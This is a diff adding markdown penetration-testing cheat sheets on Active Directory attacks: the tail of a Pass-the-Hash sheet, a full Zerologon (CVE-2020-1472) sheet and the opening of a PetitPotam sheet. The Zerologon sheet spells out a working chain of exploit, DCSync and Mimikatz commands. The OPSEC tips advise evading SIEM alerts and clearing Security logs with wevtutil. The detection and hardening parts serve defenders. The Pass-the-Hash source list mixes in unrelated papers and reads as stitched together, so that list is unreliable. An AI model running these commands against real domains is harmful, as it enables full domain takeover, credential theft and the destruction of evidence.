HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0x0`. Or use SMB/WinRM instead of RDP. | +| **`No such file or directory: secretsdump.py`** | Impacket not installed or path incorrect. | Install: `pip install impacket --upgrade`. Check Python PATH: `which secretsdump.py`. | +| **`Socket timeout / Connection refused on port 445`** | SMB port filtered or host offline. | Check connectivity: `nc -zv 10.10.10.10 445`. Verify host is online. Check firewall rules. Try different access method (WinRM on 5985, RDP on 3389). | +| **`NTLM relay hash captured from Responder (Net-NTLMv2)`** | You have a relay hash, not an NT hash — PtH won't work directly. | Crack the hash first: `hashcat -m 5600 relay_hash.txt rockyou.txt`. Or relay it (NTLM relay, Attack #7). PtH requires NT hashes only. | +| **`WinRM (5985) authentication fails but SMB (445) works`** | Remote Credential Guard may be blocking WinRM. | Remote Credential Guard blocks PtH over WinRM (5985) on Server 2016+. Use SMB (445) instead with `psexec.py`, `smbexec.py`, or `nxc smb`. | + +*** + +## 🎯 OPSEC Tips + +### OpSec Ranking (Stealthiest to Loudest) + +1. **`wmiexec.py` over single host** (stealthiest) — WMI, no service creation, minimal artifacts +2. **`atexec.py` for single commands** — Task Scheduler, fast cleanup, low footprint +3. **`smbexec.py` for shell** — SMB service, no binary drop, moderate artifacts +4. **Mimikatz local PtH (interactive)** — Process injection, visible process list +5. **`psexec.py` spray across subnet** (loudest) — Service binary drop, obvious SMB activity, mass 4688 events + +### Modern Defence Impact + +- **Credential Guard** — blocks LSASS hash extraction entirely. Dumping becomes impossible from that host, but PtH still works using pre-dumped hashes. +- **SMB Signing + Enforcement** — if enabled, some attacks are blocked. Kerberos PtH (Overpass-the-Hash) becomes necessary. +- **Windows Defender + Sysmon** — Mimikatz binary execution is often caught. In-memory LOLBins or living-off-the-land techniques avoid this. +- **Network segmentation** — if properly configured, lateral movement is blocked even with valid hashes. + +### Opsec Best Practices + +- **`wmiexec.py` over `psexec.py`** — psexec creates a service and drops a binary to disk; wmiexec uses WMI and leaves significantly fewer artefacts +- **`smbexec.py`** — runs commands via SMB service creation but never writes a binary; good middle ground +- **Prefer `atexec.py`** for single command execution — uses Task Scheduler, minimal footprint +- **Don't spray hashes across the entire subnet** unless necessary — multiple 4624 Type 3 events from one source IP is a clear detection signal +- **Use domain admin hashes carefully** — authentication events from a DA account hitting multiple systems simultaneously triggers most modern SIEMs +- **Target local admin reuse first** — a recycled local admin hash across 50 workstations is gold for lateral movement with less scrutiny than DA activity +- **Clear event logs after PtH** if persistence isn't the goal: `wevtutil cl Security` (noisy, but useful) + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Successful logon — **Logon Type 3** (network) with **NtLmSsp** as authentication package | +| **4624** | Security Log | Type 9 logon (NewCredentials) — Mimikatz `sekurlsa::pth` spawns this | +| **4648** | Security Log | Logon with explicit credentials — attacker injecting hash to remote system | +| **4672** | Security Log | Special privileges assigned to new logon (DA/local admin access) | +| **4776** | Security Log | DC attempted to validate NTLM credentials — `Status 0x0` = success | +| **7045** | System Log | New service installed — `psexec.py` creates a service; look for random-name binaries | +| **Sysmon EID 1** | Sysmon | Process creation — `lsass.exe` being accessed by non-system processes | +| **Sysmon EID 10** | Sysmon | `ProcessAccess` — Mimikatz opens LSASS with `PROCESS_VM_READ` access | + +**Primary detection signature:** Event 4624 with `LogonType: 3`, `AuthenticationPackage: NTLM`, and `WorkstationName` / `IpAddress` pointing to a machine where that user has no business authenticating from. Sysmon Event 10 for LSASS access is the earliest indicator — catching the dump phase before the pass even occurs. + +### Additional Sysmon Event IDs + +| Event ID | Detection | +|---|---| +| **Sysmon 8** | CreateRemoteThread into process (hash injection by Mimikatz) | +| **Sysmon 11** | File creation on target system (binary drop from psexec or service binary) | +| **Sysmon 17** | PipeCreated (SMB pipes for service execution) | +| **Sysmon 18** | PipeConnected (attacker connecting to named pipes) | + +### Sigma Rule References + +- **Sigma rule:** `credential_access_ntlm_relay_ntlmssp` — detects NTLM authentication from unusual sources +- **Sigma rule:** `lateral_movement_remote_services` — monitors for WMI/SMB lateral movement patterns +- **Sigma rule:** `privilege_escalation_local_admin_check` — flags sudden admin access from non-admin accounts +- Link: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pass_the_hash.yml + +### EDR Detections + +- **Microsoft Defender for Identity:** Pass-the-Hash detection (abnormal logon type + NTLM from unexpected source) — flags hash-based auth +- **CrowdStrike Falcon:** Detects Mimikatz via behavioral heuristics (LSASS access + credential dumping pattern) +- **Elastic Security:** Hunt rule `credential_access_pass_the_hash_ntlm` — correlates LSASS access + NTLM logon +- **Sysmon + SIEM correlations:** Sysmon 10 (LSASS access) followed by 4624 Type 3 logon = PtH in progress + +### Hardening Commands + +```powershell +# Disable NTLM across domain (force Kerberos-only — breaks backward compat) +# (Domain-wide GPO setting) +Set-GPRegistryValue -Name "Default Domain Policy" \ + -Key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" \ + -ValueName "RestrictAnonymous" -Type DWord -Value 2 + +# Enable Credential Guard (prevents LSASS hash extraction) +# Server 2016+ / Win10+ with TPM 2.0 +Invoke-CimMethod -ClassName Win32_DeviceGuard -MethodName Enable -Arguments @{HypervisorManagedCodeIntegrityEnforcementPolicy = 1} + +# Enable LSA Protection (RunAsPPL — blocks LSASS direct access) +# Windows 8.1+ / Server 2012 R2+ +reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f + +# Enforce SMB Signing (blocks some NTLM relay attacks) +# (GPO path: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies) +Set-SmbServerConfiguration -RequireSecuritySignature $true -Force + +# Monitor for LSASS access attempts +# (Enable advanced audit policy) +auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable + +# Disable WDIGEST (removes cleartext password from LSASS) +reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f +``` + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Observed in | Platforms | Data Sources | +|---|---|---|---|---|---| +| Lateral Movement | T1550 | **002** (PtH) | APT1, APT28, Wizard Spider, FIN7, Carbanak | Windows | Authentication logs (4624, 4776), Sysmon EID 10 (Process Access), Network traffic (SMB/RPC) | + +**T1550.002 — Use Alternate Authentication Material: Pass the Hash** — Leverages NTLM hash to authenticate without plaintext password. Works on all Windows versions supporting NTLM (which is all of them, for backward compatibility). + +*** + +## 🔗 Attack Chain Context + +``` +[Pass-the-Hash] ──→ Authenticated Session on Remote Host as Victim User + │ + ├──→ 🔍 Dump LSASS on new host → more hashes → repeat loop + ├──→ 🎫 Overpass-the-Hash (convert NT hash → Kerberos TGT) + ├──→ 🩸 DCSync (if DA hash obtained → dump all domain hashes) + ├──→ 🎫 Golden Ticket (KRBTGT hash from DCSync → permanent persistence) + ├──→ 📁 Access file shares, databases, email as privileged user + └──→ 🎯 Find DA cached logon on compromised workstation → instant DA +``` + +**The lateral movement loop:** Compromise host → dump hashes → PtH to next host → find higher-privilege hash → repeat until Domain Admin is reached. In a flat network without segmentation, this loop can take **under 10 minutes** from first workstation compromise to Domain Admin. The technique works on any Windows version and requires no exploits — just valid hashes and network access. + +*** + +> ✅ **Attack #4 — Pass-the-Hash complete.** Tell me to move on when you're ready for **Attack #5 — Pass-the-Ticket (PtT)**. + +Sources + What is a Pass-the-Hash Attack? | CrowdStrike https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack/ + What is a Pass-the-Hash Attack (PtH)? | BeyondTrust https://www.beyondtrust.com/resources/glossary/pass-the-hash-pth-attack + What is Pass-the-Hash? Attacks Types and Security Best Practices https://www.vaadata.com/blog/what-is-pass-the-hash-attacks-types-and-security-best-practices/ + What are Pass-the-Hash (PtH) & Pass-the-Ticket (PtT)? https://www.sentinelone.com/cybersecurity-101/threat-intelligence/what-are-pass-the-hash-pth-pass-the-ticket-ptt/ + Active Directory Attacks: Pass-the-Hash, Pass-the-Ticket & Qualys ETM ... https://blog.qualys.com/product-tech/2026/02/11/qualys-etm-detect-pass-the-hash-pass-the-ticket-attacks + Understanding Pass-the-Hash: How Attackers Exploit https://www.hedgehogsecurity.co.uk/blog/understanding-pass-the-hash-attack-how-hackers-exploit-password-vulnerabilities + Detecting Pass-the-Hash Attack in a Microsoft Active Directory Environment using an Open-Source Approach https://ieeexplore.ieee.org/document/10795633/ + An Open-Source Approach to Detect Pass-the-Hash Attack in Active Directory Using Wazuh and Sysmon https://link.springer.com/10.1134/S0361768825700483 + Pass the Hash Attack Defense | AD Security 101 https://www.semperis.com/blog/how-to-defend-against-pass-the-hash-attack/ + Pass the hash - Wikipedia https://en.wikipedia.org/wiki/Pass_the_hash + What Is a Pass the Hash Attack? | Proofpoint USwww.proofpoint.com › threat-reference › pass-the-hash https://www.proofpoint.com/us/threat-reference/pass-the-hash + An Expert Guide to Mitigating Pass-the-Hash Attacks in Active Directory https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-mitigating-pass-the-hash-attacks-in-active-directory/ + What is a Pass-the-Hash Attack (PtH)? PtH Explained https://www.xcitium.com/knowledge-base/pth/ + Threat overview https://www.semperis.com/blog/pass-the-hash-attack-explained/ + Identifying and Preventing... https://www.strongdm.com/what-is/pass-the-hash-attack-pth + Pass the Hash: Mechanics and Mitigation https://nordpass.com/blog/pass-the-hash-attack/ + Pass the Hash and Credential Theft https://download.microsoft.com/download/C/5/7/C57FB17E-620C-46AD-BC3E-4A8064273669/Aaron_Margosis_Pass_the_hash.pdf + Pass-the-Hash in Windows 10 GIAC ( GCIH ) Gold Certification https://www.semanticscholar.org/paper/ca3bdcf7802e8d834f52845a0eb3b953111971f5 + Pass-the-Hash in Windows 10 https://www.semanticscholar.org/paper/59c5ac8c084e13433f4d56703dee90eb25736194 + Pass-the-Hash: One of the Most Prevalent Yet Underrated Attacks for Credentials Theft and Reuse https://dl.acm.org/doi/10.1145/3134302.3134338 + Defeating Pass-the-Hash Separation of Powers https://www.semanticscholar.org/paper/a6ffa297b6c915f3056c207c55f9a99f299350e2 + Improved Preimage Attack on 3-Pass HAVAL https://www.semanticscholar.org/paper/e33983337beb98d51dbab233206d8d1a9243bf0a + Improved preimage attack on 3-pass HAVAL http://link.springer.com/10.1007/s12204-011-1215-3 + Enhanced Multi-Chaotic Fredkin-Logic-Based Image Encryption for Satellite Imagery with Adaptive Hash-Driven Key Generation https://bajest.bauc14.edu.iq/index.php/bajest/article/view/179 + Some Cryptanalytic Results on Zipper Hash and Concatenated Hash https://www.semanticscholar.org/paper/9637504875342b0467aada6de710346971270459 + PTHash: Revisiting FCH Minimal Perfect Hashing http://arxiv.org/pdf/2104.10402.pdf + Recovering cryptographic keys from partial information, by example https://cic.iacr.org/p/1/1/28/pdf + CASH: A Cost Asymmetric Secure Hash Algorithm for Optimal Password Protection http://arxiv.org/pdf/1509.00239.pdf + The Spy in the Sandbox -- Practical Cache Attacks in Javascript http://arxiv.org/pdf/1502.07373v2.pdf + Exploiting Leakage in Password Managers via Injection Attacks http://arxiv.org/pdf/2408.07054.pdf + Cost-Asymmetric Memory Hard Password Hashing http://arxiv.org/pdf/2206.12970.pdf + Passive SSH Key Compromise via Lattices https://dl.acm.org/doi/pdf/10.1145/3576915.3616629 + Covert Channels in One-Time Passwords Based on Hash Chains https://zenodo.org/record/5999651/files/EICC_2020_Poster.pdf diff --git a/src/content/sheets/active-directory/attack-40-zerologon-cve-2020-1472.md b/src/content/sheets/active-directory/attack-40-zerologon-cve-2020-1472.md @@ -0,0 +1,380 @@ +--- +title: "Attack #40 — Zerologon (CVE-2020-1472)" +description: "Zerologon is a critical vulnerability in the Netlogon Remote Protocol (MS-NRPC) that allows an unauthenticated attacker with network access to a DC to set…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #40 — Zerologon (CVE-2020-1472).md" +--- +# 🔵 Attack #40 — Zerologon (CVE-2020-1472) + +*** + +## 📖 How It Works + +Zerologon is a **critical vulnerability in the [Netlogon Remote Protocol (MS-NRPC)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/)** that allows an **unauthenticated attacker** with network access to a DC to **set the DC machine account password to empty** — effectively gaining Domain Admin access. The cryptographic flaw is in the AES-CFB8 initialization vector: by sending all-zero client challenges, there's a 1/256 chance the session key becomes all zeros, which the attacker can predict. + +**CVSS Score: 10.0** — Full unauthenticated domain compromise. + +> [!info]+ Technical Deep-Dive — AES-CFB8 Cryptographic Flaw +> `ris:FileList` +> 1. The [Netlogon protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/) uses **AES-CFB8** mode to compute a session key during the `NetrServerAuthenticate3` handshake between a client and a DC +> 2. In AES-CFB8, the **Initialization Vector (IV)** should be random — but the Netlogon implementation uses a **fixed all-zero IV** (`ComputeNetlogonCredential` function) +> 3. When the **client challenge** is also all zeros, the `ComputeNetlogonCredential` function produces an all-zero session credential with probability **1/256** (~0.39%) +> 4. The attacker sends up to 256 authentication attempts with all-zero challenges — statistically, one will succeed and produce an all-zero session key +> 5. With the known (all-zero) session key, the attacker calls `NetrServerPasswordSet2` to **set the DC machine account password to empty** +> 6. *The DC machine account (`DC01$`) is now set to an empty password, allowing the attacker to authenticate as the DC and perform DCSync (Attack #37)* +> 7. **Critical**: Setting the DC machine password to empty **breaks AD replication** and trust relationships — the password MUST be restored immediately after exploitation + +> [!danger]+ Destructive Attack Warning +> `fas:Skull` +> 1. Zerologon **BREAKS the DC** if the machine password is not restored — AD replication, trust relationships, SYSVOL replication, and domain services will fail +> 2. This is a **"break glass" attack** — only use in time-constrained engagements with explicit authorization +> 3. **Always restore the DC machine password immediately after exploitation** +> 4. *In a real engagement, have the restore commands ready BEFORE running the exploit* + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Network access to DC (port 135/445)** | No credentials required — fully unauthenticated | +| **DC is unpatched** | Patched in August 2020 ([KB4565349](https://support.microsoft.com/en-us/help/4565349)) | +| **DC hostname known** | Required for the NetBIOS name in the Netlogon handshake | + +*** + +## 🛠️ Tools + +| Tool | Platform | Version | Notes | +|---|---|---|---| +| [zerologon_tester.py](https://github.com/SecuraBV/CVE-2020-1472) | Linux/Python | Python 3 | Secura's original vulnerability checker — safe, non-destructive | +| [cve-2020-1472-exploit.py](https://github.com/dirkjanm/CVE-2020-1472) | Linux/Python | Python 3 | dirkjanm's exploit — sets DC machine password to empty | +| [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | ≥ 2.2.0 (Sep 2020+) | `lsadump::zerologon` — Windows-native exploit | +| [SharpZeroLogon](https://github.com/nccgroup/nccfsas) | Windows (.NET) | Latest | C# exploit for C2 `execute-assembly` — NCC Group | +| [Impacket — secretsdump.py](https://github.com/fortra/impacket) | Linux | ≥ 0.9.22 | DCSync using the emptied DC machine account | +| [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | ≥ 1.1.0 | `-M zerologon` vulnerability check module | +| [reinstall.py / restorepassword.py](https://github.com/dirkjanm/CVE-2020-1472) | Linux/Python | Python 3 | Restore the DC machine password after exploitation | + +*** + +## ⏱️ Time-to-Execute Estimates + +| Operation | Time | Notes | +|---|---|---| +| Vulnerability check | **5–30 seconds** | Up to 256 Netlogon attempts | +| Exploit (set password to empty) | **5–30 seconds** | Same 1/256 probability, ~2000 attempts max | +| DCSync with empty hash | **10–60 seconds** | Standard DCSync timing | +| Password restore | **5–15 seconds** | Critical — must be done immediately | +| **Total attack chain** | **30–120 seconds** | From unauthenticated → full domain compromise | + +*** + +## 💻 Full Commands + +### 🔵 Check Vulnerability + +```bash +# ── zerologon_tester.py (safe — does NOT exploit) ──────────────────────────── +python3 zerologon_tester.py DC01 10.10.10.10 +# Output: "DC01 is VULNERABLE" or "not vulnerable" + +# ── NetExec module (also safe) ──────────────────────────────────────────────── +nxc smb DC01.corp.local -u '' -p '' -M zerologon +# Output: [+] VULNERABLE or [-] not vulnerable +``` + +### 🔴 Exploit — Set DC Password to Empty + +```bash +# ── dirkjanm exploit (Linux) ───────────────────────────────────────────────── +python3 cve-2020-1472-exploit.py DC01 10.10.10.10 +# Sets DC01$ machine account password to empty string +# ⚠️ WARNING: This BREAKS the DC — restore password immediately after DCSync + +# ── DCSync with empty password ──────────────────────────────────────────────── +secretsdump.py -just-dc-user krbtgt corp.local/'DC01$'@DC01.corp.local \ + -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 +# 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password NT hash + +# ── Dump all hashes ─────────────────────────────────────────────────────────── +secretsdump.py corp.local/'DC01$'@DC01.corp.local \ + -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc -outputfile zerologon_dump + +# ── Dump Administrator hash specifically (for next steps) ───────────────────── +secretsdump.py corp.local/'DC01$'@DC01.corp.local \ + -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \ + -just-dc-user Administrator +``` + +#### Mimikatz (Windows) + +```powershell +# ── Mimikatz zerologon exploit ──────────────────────────────────────────────── +privilege::debug +lsadump::zerologon /target:DC01.corp.local /account:DC01$ +# Exploits CVE-2020-1472 and sets machine password to empty + +# ── Then DCSync with the zeroed credentials ─────────────────────────────────── +lsadump::dcsync /domain:corp.local /dc:DC01.corp.local /user:krbtgt /authuser:DC01$ /authdomain:corp.local /authpassword:"" /authntlm +``` + +#### SharpZeroLogon (C# — for C2) + +```powershell +# ── Via Cobalt Strike / Sliver ──────────────────────────────────────────────── +execute-assembly /path/to/SharpZeroLogon.exe DC01.corp.local +# Exploits and dumps the DC machine account hash +``` + +### 🔴 Restore DC Password (CRITICAL — Must Do) + +```bash +# ── Step 1: Get the original DC machine password hash from the dump ─────────── +# Look for DC01$ in the zerologon_dump.ntds file: +# corp.local\DC01$:1001:aad3b435b51404eeaad3b435b51404ee:<ORIGINAL_HASH>::: + +# ── Step 2: Get Administrator hash for authentication ───────────────────────── +secretsdump.py corp.local/Administrator@DC01.corp.local \ + -hashes :<admin_NT_hash> -just-dc-user 'DC01$' + +# ── Step 3: Restore DC machine password ─────────────────────────────────────── +python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.10 \ + -hexpass <original_hex_password> + +# ── Alternative: reinstall.py ───────────────────────────────────────────────── +python3 reinstall.py DC01 -target-ip 10.10.10.10 \ + -hexhash <original_dc_hash> + +# ── Verify restoration ──────────────────────────────────────────────────────── +# Try to authenticate as DC01$ with the original hash: +nxc smb DC01.corp.local -u 'DC01$' -H <original_dc_hash> +# Should succeed → password restored + +# ⚠️ WARNING: If DC password is not restored, AD replication will BREAK +# The DC will lose trust relationship with other DCs +``` + +> [!danger]+ Password Restoration is NOT Optional +> `fas:Skull` +> 1. Failing to restore the DC machine password will cause: **AD replication failure**, **trust relationship breakage**, **SYSVOL replication failure**, **Group Policy processing failure** +> 2. The restoration must happen **within minutes** — the longer you wait, the more damage occurs as other DCs try to replicate +> 3. If restoration fails, the only recovery option may be **restoring the DC from backup** +> 4. *Always have the restore commands prepared and tested BEFORE exploiting Zerologon* + +*** + +## 🎯 OPSEC Tips + +1. **Zerologon BREAKS the DC** if password is not restored — replication, trust relationships, and services will fail +2. **This is a "break glass" attack** — only use if you're in a time-constrained engagement +3. **Patched since August 2020** — but legacy DCs may still be vulnerable +4. **Always restore the DC password after exploitation** +5. **The exploit generates ~256 failed authentication attempts** — these are logged as Event 5805 (Netlogon authentication failure) and are highly anomalous +6. **Execute and restore within 2–3 minutes** — minimize the window where the DC has an empty password +7. **Test the restore procedure first** on a lab environment — a failed restore in production is catastrophic + +### 📊 OpSec Ranking + +| Method | Stealth | Speed | Reliability | Notes | +|---|---|---|---|---| +| dirkjanm Python exploit | 🔴 Low | 🟢 Fast | 🟢 High | 256 failed auth attempts are very noisy | +| Mimikatz zerologon | 🔴 Low | 🟢 Fast | 🟢 High | Same noise + Mimikatz on disk | +| SharpZeroLogon | 🔴 Low | 🟢 Fast | 🟡 Medium | In-memory but still generates Netlogon noise | + +> [!warning]+ Noise Profile +> `fas:TriangleExclamation` +> 1. Zerologon is **extremely noisy** — up to 2000 Netlogon authentication attempts in seconds +> 2. Any environment with basic Netlogon monitoring will detect this immediately +> 3. The attack is not stealthy and should only be used as a last resort or in time-constrained CTF/exam scenarios +> 4. *If stealth matters, prefer other escalation paths like Kerberoasting (Attack #2) or ACL abuse (Attack #65)* + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4742** | Security Log (DC) | Computer account password change (DC01$ password set) | +| **5805** | System Log (DC) | Netlogon authentication failure (from exploit attempts — expect 100+ in seconds) | +| **4624** | Security Log (DC) | Logon with nullified DC credentials (Type 3 with DC01$ account) | +| **5829** | System Log (DC) | Vulnerable Netlogon secure channel connection allowed (post-patch, if enforcement not enabled) | + +### 🔎 Sigma Rules + +```yaml +# ── SigmaHQ — Zerologon Exploitation Attempt ───────────────────────────────── +title: Zerologon (CVE-2020-1472) Exploitation Attempt +id: b1e5a3f0-7c52-4f3a-9e0a-3b4c5d6e7f8a +status: stable +logsource: + product: windows + service: system +detection: + selection: + EventID: 5805 + timeframe: 1m + condition: selection | count() > 50 +level: critical +tags: + - attack.privilege_escalation + - attack.t1210 + - cve.2020.1472 +``` + +```yaml +# ── SigmaHQ — DC Machine Account Password Change ───────────────────────────── +title: DC Machine Account Password Reset (Zerologon Indicator) +id: a2b3c4d5-zerologon-dc-password-change +logsource: + product: windows + service: security +detection: + selection: + EventID: 4742 + TargetUserName|endswith: '$' + keywords: + PasswordLastSet: '*' + condition: selection +level: high +``` + +### 🛡️ EDR-Specific Detections + +> [!warning]+ Microsoft Defender for Identity (MDI) +> `ris:Windows` +> 1. **"Suspected Zerologon exploitation (CVE-2020-1472)"** — high-fidelity alert triggered by anomalous Netlogon authentication patterns +> 2. MDI detects the characteristic burst of failed Netlogon authentications followed by a successful authentication with an all-zero session key +> 3. **Immediate alert** — MDI classifies this as critical severity with automatic incident creation + +> [!warning]+ CrowdStrike Falcon +> `ris:Radar` +> 1. **"Zerologon Exploitation Detected"** — network-level detection for MS-NRPC manipulation +> 2. Falcon correlates Netlogon RPC traffic patterns with CVE-2020-1472 signatures +> 3. Process tree analysis for exploit tools (Python scripts, SharpZeroLogon) + +> [!warning]+ Elastic Security +> `ris:FileList` +> 1. Rule: **"Potential Zerologon Attack (CVE-2020-1472)"** — detects burst of Event 5805 entries +> 2. Rule: **"DC Machine Account Password Change"** — correlates Event 4742 with DC machine accounts +> 3. *Requires Windows Event Forwarding of System and Security logs from DCs* + +*** + +## 🔬 Forensic Artifacts + +| Artifact | Location | Details | +|---|---|---| +| **Event 5805 burst** | DC System Log | 100–2000+ Netlogon authentication failures in a few seconds — pathognomonic for Zerologon | +| **Event 4742** | DC Security Log | DC machine account password change — timestamp marks exploitation | +| **Event 4624** | DC Security Log | Network logon with DC01$ using empty/zeroed credentials | +| **Event 5829** | DC System Log | Post-patch: vulnerable Netlogon connection allowed (if enforcement not enabled) | +| **Network capture** | PCAP | MS-NRPC `NetrServerAuthenticate3` calls with all-zero client challenges; `NetrServerPasswordSet2` call | +| **AD attribute** | `pwdLastSet` on DC$ account | Timestamp of password change — matches exploitation time | + +*** + +> [!important]+ Windows Server Version & Patch Timeline +> `ris:Windows` +> 1. **August 2020**: Initial patch released (KB4565349 for Server 2012 R2/2016/2019) — "Phase 1" allows vulnerable connections with Event 5829 warning +> 2. **February 2021**: "Phase 2" enforcement — DCs reject vulnerable Netlogon connections by default (registry `FullSecureChannelProtection = 1`) +> 3. **Server 2012 R2**: Vulnerable if unpatched; patch available but may not be installed on legacy systems +> 4. **Server 2016**: Vulnerable if unpatched; check `FullSecureChannelProtection` registry key +> 5. **Server 2019**: Vulnerable if unpatched; same patch timeline +> 6. **Server 2022**: Shipped with the fix included — NOT vulnerable out of the box +> 7. **Server 2025**: NOT vulnerable — Netlogon secure channel enforcement is default +> 8. *In practice, Zerologon is only exploitable on DCs that have been unpatched for 3+ years — but legacy environments still exist* + +*** + +## 🔒 Hardening & Prevention + +```powershell +# ── 1. Verify patch is installed ────────────────────────────────────────────── +Get-HotFix | Where-Object { $_.HotFixID -match 'KB4565349|KB4571694|KB4577015|KB4580325' } +# If empty, the DC is potentially vulnerable — patch immediately + +# ── 2. Enable enforcement mode (block vulnerable connections) ───────────────── +# Registry key (should be set after Feb 2021 update): +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" ` + -Name "FullSecureChannelProtection" -Value 1 -Type DWord +# Value 1 = enforce secure channel (reject vulnerable connections) +# Value 0 = allow vulnerable connections (NOT recommended) + +# ── 3. Monitor for vulnerable Netlogon connections (Event 5829) ─────────────── +# After patching but before enforcement, monitor Event 5829: +# This event indicates a device connected using a vulnerable Netlogon secure channel +# Identify and update/patch these devices before enabling enforcement + +# ── 4. GPO — Deploy patch and enforcement domain-wide ───────────────────────── +# Computer Configuration → Policies → Admin Templates → System → Netlogon → +# ✅ "Enforce use of secure RPC for Netlogon secure channel connections" = Enabled + +# ── 5. Monitor Netlogon authentication failures ────────────────────────────── +# Alert on Event 5805 burst: >50 events in 60 seconds = Zerologon attempt +# Configure SIEM alert: +# source=WinEventLog:System EventCode=5805 | timechart span=1m count | where count > 50 + +# ── 6. Network-level mitigation ────────────────────────────────────────────── +# Block port 135/445 access to DCs from untrusted network segments +# Only allow domain-joined machines and admin workstations to reach DC RPC ports + +# ── 7. Upgrade legacy DCs ──────────────────────────────────────────────────── +# Server 2008/2008 R2 reached end-of-life and DOES have a Zerologon patch, +# but upgrading to Server 2019+ is strongly recommended +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `DC01 is NOT VULNERABLE` | DC is patched or enforcement mode is enabled | Verify patch status; check `FullSecureChannelProtection` registry; look for other attack paths | +| Exploit succeeds but DCSync fails | Empty password hash is wrong or DC has additional auth requirements | Use exact hash `31d6cfe0d16ae931b73c59d7e0c089c0` (empty NT hash); ensure you're using `DC01$` (with dollar sign) | +| `STATUS_ACCESS_DENIED` on secretsdump | Authentication issue after password reset | Verify you're authenticating as `DC01$` (machine account, not `DC01` user); use `-hashes :31d6cfe0...` syntax | +| Password restore fails | Original hex password not available or connection issues | Extract `DC01$` hash from the DCSync dump BEFORE restoring; if lost, may need DC restore from backup | +| AD replication broken after exploit | DC machine password was empty too long; trust relationships broken | Restore password immediately; if replication doesn't recover, run `repadmin /syncall /AeD`; worst case: demote and re-promote the DC | +| Exploit hangs / no response | Firewall blocking MS-NRPC traffic or wrong IP | Verify TCP 135/445 connectivity to DC; ensure target IP is the DC, not a load balancer | +| Multiple DCs in domain — which to target? | Need to target a specific DC | Choose the PDC Emulator (owns FSMO roles): `nxc smb DC01 -u '' -p '' -M zerologon`; or try each DC | +| Post-patch: Event 5829 appearing | Legacy devices using vulnerable Netlogon connections | Identify and update the device shown in Event 5829 before enabling enforcement mode | + +*** + +## 🗺️ MITRE ATT&CK + +| Tactic | Technique ID | Sub-technique | Procedure | APT Groups | +|---|---|---|---|---| +| **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | Exploit CVE-2020-1472 to reset DC machine password and gain DA-equivalent access | [MERCURY/MuddyWater](https://attack.mitre.org/groups/G0069/), [DEV-0537 (LAPSUS$)](https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/) | +| **Lateral Movement** | [T1210](https://attack.mitre.org/techniques/T1210/) | Exploitation of Remote Services | Unauthenticated exploitation of MS-NRPC to compromise the Domain Controller | Iranian APT groups, ransomware operators | +| **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.006 — DCSync](https://attack.mitre.org/techniques/T1003/006/) | After zeroing DC password, perform DCSync to extract all domain credentials | Chained technique | + +> [!tip]+ Real-World APT Usage +> `fas:Lightbulb` +> 1. **MERCURY/MuddyWater (Iranian APT)** — Used Zerologon in 2020-2021 campaigns against government and telecom targets +> 2. **LAPSUS$ (DEV-0537)** — Leveraged Zerologon against legacy DCs in high-profile breaches of major tech companies +> 3. **Multiple ransomware groups** (Ryuk, Conti, LockBit) incorporated Zerologon into automated domain compromise playbooks — if DC is unpatched, exploit → DCSync → deploy ransomware +> 4. *CISA issued Emergency Directive 20-04 requiring all federal agencies to patch Zerologon within 4 days — an unprecedented urgency level* + +*** + +## 🔗 Attack Chain Context + +``` +[Zerologon] ──→ Unauthenticated Domain Compromise + │ + ├──→ 💥 CVE-2020-1472 — CVSS 10.0 + ├──→ 🔓 No creds needed → set DC password to null → DCSync (Attack #37) + ├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11) + ├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4) + ├──→ ⚠️ DESTRUCTIVE — must restore DC password immediately + ├──→ 🔗 Compare: noPAC (Attack #44) — also low-priv → DA, but requires auth + └──→ 💀 Defeated by: August 2020 patches, enforce secure channel signing +``` + +*** + +> ✅ **Attack #40 — Zerologon complete.** diff --git a/src/content/sheets/active-directory/attack-41-petitpotam-cve-2021-36942.md b/src/content/sheets/active-directory/attack-41-petitpotam-cve-2021-36942.md @@ -0,0 +1,405 @@ +--- +title: "Attack #41 — PetitPotam (CVE-2021-36942)" +description: "PetitPotam exploits the Encrypting File System Remote Protocol (MS-EFSR) to coerce a target (typically a DC) to authenticate to an attacker-controlled…" +category: active-directory +tags: 